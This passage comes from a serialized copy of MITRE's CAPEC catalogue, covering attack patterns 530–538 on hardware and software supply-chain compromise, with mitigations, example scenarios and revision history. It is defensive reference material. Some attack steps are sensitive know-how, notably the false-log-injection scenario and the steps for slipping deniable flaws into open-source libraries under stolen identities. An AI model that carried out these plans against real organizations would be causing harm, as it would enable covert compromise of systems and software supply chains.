Able to develop and manufacture malicious system components that resemble legitimate name-brand components. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">There are various methods to detect if the component is a counterfeit. See section II of [REF-703] for many techniques.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker, aware that the victim has contracted with an integrator for system maintenance and that the integrator uses commercial-off-the-shelf network hubs, develops their own network hubs with a built-in malicious capability for remote access, the malicious network hubs appear to be a well-known brand of network hub but are not. The attacker then advertises to the sub-system integrator that they are a legit supplier of network hubs, and offers them at a reduced price to entice the integrator to purchase these network hubs. The integrator then installs the attacker's hubs at the victim's location, allowing the attacker to remotely compromise the victim's network.</xhtml:div> + + + + + + + + + + + + #indReferenceReference29701 + Reference_29701 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference29702 + Reference_29702 + + + + + + + + + REF-698 + + + + + + + + + + + + #indReferenceReference29703 + Reference_29703 + + + + + + + + + REF-703 + + + + + + + + + + + + #indContentHistoryContentHistory29705 + Content_History_29705 + + + + + + + + + + + + + + + + #indSubmissionSubmission29706 + Submission_29706 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification29711 + Modification_29711 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification29717 + Modification_29717 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Mitigations, References + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName29723 + Previous_Entry_Name_29723 + + + + + + + + + 2015-11-09 + + + + + Counterfeit Component Supplied + + + + + + + + + + + + #CAPEC-531 + Hardware Component Substitution + + + + + + + + + 531 + + + + + Hardware Component Substitution + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker substitutes out a tested and approved hardware component for a maliciously-altered hardware component. This type of attack is carried out directly on the system, enabling the attacker to then cause disruption or additional compromise.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern29732 + Related_Attack_Pattern_29732 + + + + + + + + + + + + + + 534 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Physical access to the system or the integration facility where hardware components are kept.</xhtml:div> + + + + + + + + + + + + #indSkillSkill29738 + Skill_29738 + + + + + + + + + + + + + + Able to develop and manufacture malicious system components that perform the same functions and processes as their non-malicious counterparts. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker has access to an organization's warehouse of card readers being included as a part of an overall security system. By replacing a critical hardware component in the card reader, the attacker is able to alter the function of the card reader to allow an attacker-supplied card to bypass a security checkpoint. The card reader is placed in the warehouse, and later used in the victim's security system. The attacker is then able to go to the victim and use their own card and bypass a physical security checkpoint and gain access to the victim's location for further malicious activity.</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseHardwareSupplyChain + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + + + 1195.003 + + + + + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + #indContentHistoryContentHistory29749 + Content_History_29749 + + + + + + + + + + + + + + + + #indSubmissionSubmission29750 + Submission_29750 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification29755 + Modification_29755 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Attack_Prerequisites, Description Summary, Examples-Instances, References, Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification29761 + Modification_29761 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName29767 + Previous_Entry_Name_29767 + + + + + + + + + 2015-11-09 + + + + + Hardware Component Substitution After Installation + + + + + + + + + + + + #CAPEC-532 + Altered Installed BIOS + + + + + + + + + 532 + + + + + Altered Installed BIOS + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker with access to download and update system software sends a maliciously altered BIOS to the victim or victim supplier/integrator, which when installed allows for future exploitation.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern29775 + Related_Attack_Pattern_29775 + + + + + + + + + + + + + + 444 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Advanced knowledge about the installed target system design.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Advanced knowledge about the download and update installation processes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the download and update system(s) used to deliver BIOS images.</xhtml:div> + + + + + + + + + + + + #indSkillSkill29784 + Skill_29784 + + + + + + + + + + + + + + Able to develop a malicious BIOS image with the original functionality as a normal BIOS image, but with added functionality that allows for later compromise and/or disruption. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Deploy strong code integrity policies to allow only authorized apps to run.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use endpoint detection and response solutions that can automaticalkly detect and remediate suspicious activities.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Maintain a highly secure build and update infrastructure by immediately applying security patches for OS and software, implementing mandatory integrity controls to ensure only trusted tools run, and requiring multi-factor authentication for admins.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Require SSL for update channels and implement certificate transparency based verification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Sign update packages and BIOS patches.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use hardware security modules/trusted platform modules to verify authenticity using hardware-based cryptography.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker compromises the download and update portion of a manufacturer's web presence, and develops a malicious BIOS that in addition to the normal functionality will also at a specific time of day disable the remote access subsystem's security checks. The malicious BIOS is put in place on the manufacturer's website, the victim location is sent an official-looking email informing the victim of the availability of a new BIOS with bug fixes and enhanced performance capabilities to entice the victim to install the new BIOS quickly. The malicious BIOS is downloaded and installed on the victim's system, which allows for additional compromise by the attacker.</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingFirmwareCorruption + Firmware Corruption + + + + + + + + + + + + + + 1495 + + + + + Firmware Corruption + + + + + + + + + + + + #indTaxonomyMappingPreOSBootSystemFirmware + Pre-OS Boot:System Firmware + + + + + + + + + + + + + + 1542.001 + + + + + Pre-OS Boot:System Firmware + + + + + + + + + + + + #indReferenceReference29808 + Reference_29808 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference29809 + Reference_29809 + + + + + + + + + REF-716 + + + + + + + + + + + + #indContentHistoryContentHistory29811 + Content_History_29811 + + + + + + + + + + + + + + + + #indSubmissionSubmission29812 + Submission_29812 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification29817 + Modification_29817 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated References, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification29823 + Modification_29823 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification29829 + Modification_29829 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification29835 + Modification_29835 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification29841 + Modification_29841 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification29847 + Modification_29847 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Mitigations, References + + + + + + + + + + + + #indModificationModification29853 + Modification_29853 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName29859 + Previous_Entry_Name_29859 + + + + + + + + + 2015-11-09 + + + + + Altered BIOS Installed After Installation + + + + + + + + + + + + #CAPEC-533 + Malicious Manual Software Update + + + + + + + + + 533 + + + + + Malicious Manual Software Update + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker introduces malicious code to the victim's system by altering the payload of a software update, allowing for additional compromise or site disruption at the victim location. These manual, or user-assisted attacks, vary from requiring the user to download and run an executable, to as streamlined as tricking the user to click a URL. Attacks which aim at penetrating a specific network infrastructure often rely upon secondary attack methods to achieve the desired impact. Spamming, for example, is a common method employed as an secondary attack vector. Thus the attacker has in their arsenal a choice of initial attack vectors ranging from traditional SMTP/POP/IMAP spamming and its varieties, to web-application mechanisms which commonly implement both chat and rich HTML messaging within the user interface.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern29868 + Related_Attack_Pattern_29868 + + + + + + + + + + + + + + 186 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Advanced knowledge about the download and update installation processes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Advanced knowledge about the deployed system and its various software subcomponents and processes.</xhtml:div> + + + + + + + + + + + + #indSkillSkill29875 + Skill_29875 + + + + + + + + + + + + + + Able to develop malicious code that can be used on the victim's system while maintaining normal functionality. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Only accept software updates from an official source.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An email campaign was initiated, targetting victims of a ransomware attack. The email claimed to be a patch to address the ransomware attack, but was instead an attachment that caused the Cobalt Strike tools to be installed, which enabled further attacks.</xhtml:div> + + + + + 494 + + + + + + + + + + + + #indReferenceReference29887 + Reference_29887 + + + + + + + + + REF-710 + + + + + + + + + + + + #indContentHistoryContentHistory29889 + Content_History_29889 + + + + + + + + + + + + + + + + #indSubmissionSubmission29890 + Submission_29890 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification29895 + Modification_29895 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Examples-Instances, References, Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification29901 + Modification_29901 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification29907 + Modification_29907 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification29913 + Modification_29913 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Example_Instances, Mitigations, References + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName29919 + Previous_Entry_Name_29919 + + + + + + + + + 2015-11-09 + + + + + Malicious Software Update + + + + + + + + + + + + #CAPEC-534 + Malicious Hardware Update + + + + + + + + + 534 + + + + + Malicious Hardware Update + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary introduces malicious hardware during an update or replacement procedure, allowing for additional compromise or site disruption at the victim location. After deployment, it is not uncommon for upgrades and replacements to occur involving hardware and various replaceable parts. These upgrades and replacements are intended to correct defects, provide additional features, and to replace broken or worn-out parts. However, by forcing or tricking the replacement of a good component with a defective or corrupted component, an adversary can leverage known defects to obtain a desired malicious impact.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern29928 + Related_Attack_Pattern_29928 + + + + + + + + + + + + + + 440 + + + + + + + + + + + + #indSkillSkill29931 + Skill_29931 + + + + + + + + + + + + + + Able to develop and manufacture malicious hardware components that perform the same functions and processes as their non-malicious counterparts. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary develops a malicious networking card that allows for normal function plus the addition of malicious functionality that is of benefit to the adversary. The adversary sends the victim an email stating that the existing networking card is faulty, and that the victim can order a replacement card free of charge. The victim orders the card, and the adversary sends the malicious networking card. The malicious networking card replaces the perfectly-functioning original networking card, and the adversary is able to take advantage of the additional malicious functionality to further compromise the victim's network.</xhtml:div> + + + + + + + + + + + + #indReferenceReference29937 + Reference_29937 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference29938 + Reference_29938 + + + + + + + + + REF-711 + + + + + + + + + + + + #indContentHistoryContentHistory29940 + Content_History_29940 + + + + + + + + + + + + + + + + #indSubmissionSubmission29941 + Submission_29941 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification29946 + Modification_29946 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Attack_Prerequisites, Description Summary, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification29952 + Modification_29952 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, Examples-Instances + + + + + + + + + + + + #indModificationModification29958 + Modification_29958 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated References + + + + + + + + + + + + #CAPEC-535 + Malicious Gray Market Hardware + + + + + + + + + 535 + + + + + Malicious Gray Market Hardware + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker maliciously alters hardware components that will be sold on the gray market, allowing for victim disruption and compromise when the victim needs replacement hardware components for systems where the parts are no longer in regular supply from original suppliers, or where the hardware components from the attacker seems to be a great benefit from a cost perspective.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern29972 + Related_Attack_Pattern_29972 + + + + + + + + + + + + + + 531 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Physical access to a gray market reseller's hardware components supply, or the ability to appear as a gray market reseller to the victim's buyer.</xhtml:div> + + + + + + + + + + + + #indSkillSkill29978 + Skill_29978 + + + + + + + + + + + + + + Able to develop and manufacture malicious hardware components that perform the same functions and processes as their non-malicious counterparts. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Purchase only from authorized resellers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Validate serial numbers from multiple sources</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker develops co-processor boards with malicious capabilities that are technically the same as a manufacturer's expensive upgrade to their flagship system. The victim has installed the manufacturer's base system without the expensive upgrade. The attacker contacts the victim and states they have the co-processor boards at a drastically-reduced price, falsely stating they were acquired from a bankruptcy liquidation of a company that had purchased them from the manufacturer. The victim after hearing the drastically reduced price decides to take advantage of the situation and purchases the upgrades from the attacker, and installs them. This allows the attacker to further compromise the victim.</xhtml:div> + + + + + + + + + + + + #indReferenceReference29988 + Reference_29988 + + + + + + + + + REF-439 + + + + + + + + + + + + #indContentHistoryContentHistory29990 + Content_History_29990 + + + + + + + + + + + + + + + + #indSubmissionSubmission29991 + Submission_29991 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification29996 + Modification_29996 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Examples-Instances, Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification30002 + Modification_30002 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Mitigations + + + + + + + + + + + + #CAPEC-536 + Data Injected During Configuration + + + + + + + + + 536 + + + + + Data Injected During Configuration + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30016 + Related_Attack_Pattern_30016 + + + + + + + + + + + + + + 176 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep30021 + Attack_Step_30021 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine configuration process] The adversary, through a previously compromised system, either remotely or physically, determines what the configuration process is. They look at configuration files, data files, and running processes on the system to identify areas where they could inject malicious data.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep30026 + Attack_Step_30026 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine when configuration occurs] The adversary needs to then determine when configuration or recalibration of a system occurs so they know when to inject malicious data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for a weekly update cycle or repeated update schedule.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Insert a malicious process into the target system that notifies the adversary when configuration is occurring.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep30033 + Attack_Step_30033 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine malicious data to inject] By looking at the configuration process, the adversary needs to determine what malicious data they want to insert and where to insert it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Add false log data</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Change configuration files</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Change data files</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep30041 + Attack_Step_30041 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Inject malicious data] Right before, or during system configuration, the adversary injects the malicious data. This leads to the system behaving in a way that is beneficial to the adversary and is often followed by other attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must have previously compromised the victim's systems or have physical access to the victim's systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Advanced knowledge of software and hardware capabilities of a manufacturer's product.</xhtml:div> + + + + + + + + + + + + #indSkillSkill30052 + Skill_30052 + + + + + + + + + + + + + + Ability to generate and inject false data into operational data into a system with the intent of causing the victim to alter the configuration of the system. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that proper access control is implemented on all systems to prevent unauthorized access to system files and processes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary wishes to bypass a security system to access an additional network segment where critical data is kept. The adversary knows that some configurations of the security system will allow for remote bypass under certain conditions, such as switching a specific parameter to a different value. The adversary knows the bypass will work but also will be detected within the logging data of the security system. The adversary waits until an upgrade is performed to the security system by the victim's system administrators, and the adversary has access to an external logging system. The adversary injects false log entries that cause the administrators to think there are two different error states within the security system - one involving the specific parameter and the other involving the logging entries. The specific parameter is adjusted to a different value, and the logging level is reduced to a lower level that will not cause an adversary bypass to be detected. The adversary stops injecting false log data, and the administrators of the security system believe the issues were caused by the upgrade and are now resolved. The adversary is then able to bypass the security system.</xhtml:div> + + + + + 284 + + + + + + + + + + + + #indReferenceReference30064 + Reference_30064 + + + + + + + + + REF-439 + + + + + + + + + + + + #indContentHistoryContentHistory30066 + Content_History_30066 + + + + + + + + + + + + + + + + #indSubmissionSubmission30067 + Submission_30067 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification30072 + Modification_30072 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30078 + Modification_30078 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Examples-Instances, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification30084 + Modification_30084 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary, Examples-Instances, Related_Weaknesses, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification30090 + Modification_30090 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30096 + Modification_30096 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification30102 + Modification_30102 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-537 + Infiltration of Hardware Development Environment + + + + + + + + + 537 + + + + + Infiltration of Hardware Development Environment + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary, leveraging the ability to manipulate components of primary support systems and tools within the development and production environments, inserts malicious software within the hardware and/or firmware development environment. The infiltration purpose is to alter developed hardware components in a system destined for deployment at the victim's organization, for the purpose of disruption or further compromise.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30117 + Related_Attack_Pattern_30117 + + + + + + + + + + + + + + 444 + + + + + 513 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim must use email or removable media from systems running the IDE (or systems adjacent to the IDE systems).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim must have a system running exploitable applications and/or a vulnerable configuration to allow for initial infiltration.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have working knowledge of some if not all of the components involved in the IDE system as well as the infrastructure.</xhtml:div> + + + + + + + + + + + + #indSkillSkill30127 + Skill_30127 + + + + + + + + + + + + + + Intelligence about the manufacturer's operating environment and infrastructure. + + + + + + + + + + + + #indSkillSkill30128 + Skill_30128 + + + + + + + + + + + + + + Ability to develop, deploy, and maintain a stealth malicious backdoor program remotely in what is essentially a hostile environment. + + + + + + + + + + + + #indSkillSkill30129 + Skill_30129 + + + + + + + + + + + + + + Development skills to construct malicious attachments that can be used to exploit vulnerabilities in typical desktop applications or system configurations. The malicious attachments should be crafted well enough to bypass typical defensive systems (IDS, anti-virus, etc) + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Verify software downloads and updates to ensure they have not been modified be adversaries</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage antivirus tools to detect known malware</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not download software from untrusted sources</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Educate designers, developers, engineers, etc. on social engineering attacks to avoid downloading malicious software via attacks such as phishing attacks</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The adversary, knowing the manufacturer runs email on a system adjacent to the hardware development systems used for hardware and/or firmware design, sends a phishing email with a malicious attachment to the manufacturer. When viewed, the malicious attachment installs a backdoor that allows the adversary to remotely compromise the adjacent hardware development system from the manufacturer's workstation. The adversary is then able to exfiltrate and alter sensitive data on the hardware system, allowing for future compromise once the developed system is deployed at the victim location.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseHardwareSupplyChain + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + + + 1195.003 + + + + + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + #indReferenceReference30149 + Reference_30149 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference30150 + Reference_30150 + + + + + + + + + REF-712 + + + + + + + + + + + + #indContentHistoryContentHistory30152 + Content_History_30152 + + + + + + + + + + + + + + + + #indSubmissionSubmission30153 + Submission_30153 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification30158 + Modification_30158 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification30164 + Modification_30164 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification30170 + Modification_30170 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification30176 + Modification_30176 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification30182 + Modification_30182 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Mitigations, Prerequisites, References + + + + + + + + + + + + #indModificationModification30188 + Modification_30188 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-538 + Open-Source Library Manipulation + + + + + + + + + 538 + + + + + Open-Source Library Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries implant malicious code in open source software (OSS) libraries to have it widely distributed, as OSS is commonly downloaded by developers and other users to incorporate into software development projects. The adversary can have a particular system in mind to target, or the implantation can be the first stage of follow-on attacks on many systems.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern30202 + Related_Attack_Pattern_30202 + + + + + + + + + + + + + + 444 + + + + + 437 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep30207 + Attack_Step_30207 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine the relevant open-source code project to target] The adversary will make the selection based on various criteria:&lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;The open-source code currently in use on a selected target system.&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;The depth in the dependency graph of the open source code in relationship to other code bases in use on the target system. Choosing an OSS lower in the graph decreases the probability of discovery, but also decreases the scope of its use within the target system.&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;The programming language in which the open source code is implemented. Different languages present different opportunities for using known software weaknesses.&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;The quality of processes in place to make a contribution. For instance, some contribution sites use static and dynamic analysis tools, which could increase the probability of discovery.&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;The security requirements necessary to make a contribution. For instance, is the ownership lax allowing unsigned commits or anonymous users.&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + </xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep30219 + Attack_Step_30219 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Develop a plan for malicious contribution] The adversary develops a plan to contribute malicious code, taking the following into consideration:&lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;The adversary will probably avoid easy-to-find software weaknesses, especially ones that static and dynamic analysis tools are likely to discover.&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Common coding errors or missing edge cases of the algorithm, which can be explained away as being accidental, if discovered, will be preferred by the adversary.&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Sometimes no identity is required to make a contribution. Other options are to steal an existing identity or create one. When creating a new identity, strike a balance between too little or too much detail. Using an stolen identity could cause a notification to be sent to the actual user.&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + 